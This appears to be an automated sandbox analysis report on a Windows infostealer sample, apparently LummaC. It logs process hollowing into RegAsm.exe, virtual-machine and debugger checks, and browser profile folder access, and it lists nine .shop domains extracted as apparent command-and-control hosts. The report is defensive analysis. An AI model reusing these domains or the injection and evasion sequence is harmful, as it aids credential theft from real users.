Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00439BB0	2_2_00439BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401C7A	2_2_00401C7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0043B4C0	2_2_0043B4C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004234CC	2_2_004234CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004364E0	2_2_004364E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401D00	2_2_00401D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00425650	2_2_00425650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00422E10	2_2_00422E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00403EF0	2_2_00403EF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004396B0	2_2_004396B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401F60	2_2_00401F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004087E0	2_2_004087E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041D7F1	2_2_0041D7F1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00409920 appears 135 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00409230 appears 44 times
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: String function: 00F9B8C0 appears 54 times

Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7528 -s 304

Source: qeUaxJCA3FO.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/5@2/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0042D116 CoCreateInstance,

2_2_0042D116

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7528

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\bc7dfa7b-6102-4db8-83b1-a22c88c072a7

Jump to behavior

Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: qeUaxJCA3FO.exe

ReversingLabs: Detection: 57%

Source: unknown	Process created: C:\Users\user\Desktop\qeUaxJCA3FO.exe "C:\Users\user\Desktop\qeUaxJCA3FO.exe"
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7528 -s 304
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: qeUaxJCA3FO.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: qeUaxJCA3FO.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: qeUaxJCA3FO.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: qeUaxJCA3FO.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: qeUaxJCA3FO.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: qeUaxJCA3FO.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: qeUaxJCA3FO.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: qeUaxJCA3FO.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: qeUaxJCA3FO.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: qeUaxJCA3FO.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: qeUaxJCA3FO.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: qeUaxJCA3FO.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: qeUaxJCA3FO.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: 0_2_00F9B288 push ecx; ret	0_2_00F9B29B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00440A46 push ss; ret	2_2_00440A56
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004413C4 push cs; retf	2_2_004413C5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00440484 push cs; retf	2_2_00440749
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004405EC push cs; retf	2_2_00440749
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004405F1 push cs; retf	2_2_00440749
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004405F3 push cs; retf	2_2_00440749

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7604

Thread sleep time: -90000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe

Code function: 0_2_00FAF7AE FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_00FAF7AE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior

Source: RegAsm.exe, 00000002.00000002.1768091820.0000000001419000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBna
Source: Amcache.hve.5.dr	Binary or memory string: VMware
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.5.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1hbin@
Source: RegAsm.exe, 00000002.00000002.1768091820.00000000013E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: Amcache.hve.5.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.5.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: RegAsm.exe, 00000002.00000002.1768091820.0000000001419000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.5.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.5.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.5.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.5.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.5.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.5.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.5.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.5.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.5.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.5.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.5.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.5.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00437520 LdrInitializeThunk,

2_2_00437520

Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe

Code function: 0_2_00FA2C23 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00FA2C23

Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: 0_2_00FA9B12 mov eax, dword ptr fs:[00000030h]	0_2_00FA9B12
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: 0_2_00FA69CE mov ecx, dword ptr fs:[00000030h]	0_2_00FA69CE
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: 0_2_00FA9B56 mov eax, dword ptr fs:[00000030h]	0_2_00FA9B56

Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe

Code function: 0_2_00FB2E46 GetProcessHeap,

0_2_00FB2E46

Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: 0_2_00F9B905 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00F9B905
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: 0_2_00FA2C23 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00FA2C23
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: 0_2_00F9B69A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00F9B69A
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: 0_2_00F9B7F6 SetUnhandledExceptionFilter,	0_2_00F9B7F6

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe

Code function: 0_2_0287018D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_0287018D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: qeUaxJCA3FO.exe, 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: benchillppwo.shop
Source: qeUaxJCA3FO.exe, 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: publicitttyps.shop
Source: qeUaxJCA3FO.exe, 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: answerrsdo.shop
Source: qeUaxJCA3FO.exe, 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: radiationnopp.shop
Source: qeUaxJCA3FO.exe, 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: affecthorsedpo.shop
Source: qeUaxJCA3FO.exe, 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: bargainnykwo.shop
Source: qeUaxJCA3FO.exe, 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: bannngwko.shop
Source: qeUaxJCA3FO.exe, 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: bouncedgowp.shop
Source: qeUaxJCA3FO.exe, 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: bitchsafettyudjwu.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43C000	Jump to behavior
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43F000	Jump to behavior
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 451000	Jump to behavior
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 11DB008	Jump to behavior

Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"			Jump to behavior
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"			Jump to behavior

Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe

Code function: 0_2_00F9B380 cpuid

0_2_00F9B380

Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: GetLocaleInfoW,	0_2_00FB28E6
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: EnumSystemLocalesW,	0_2_00FA89E6
Source: C:\Users\user\Desktop\qeUaxJCA3FO.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_00FB2280
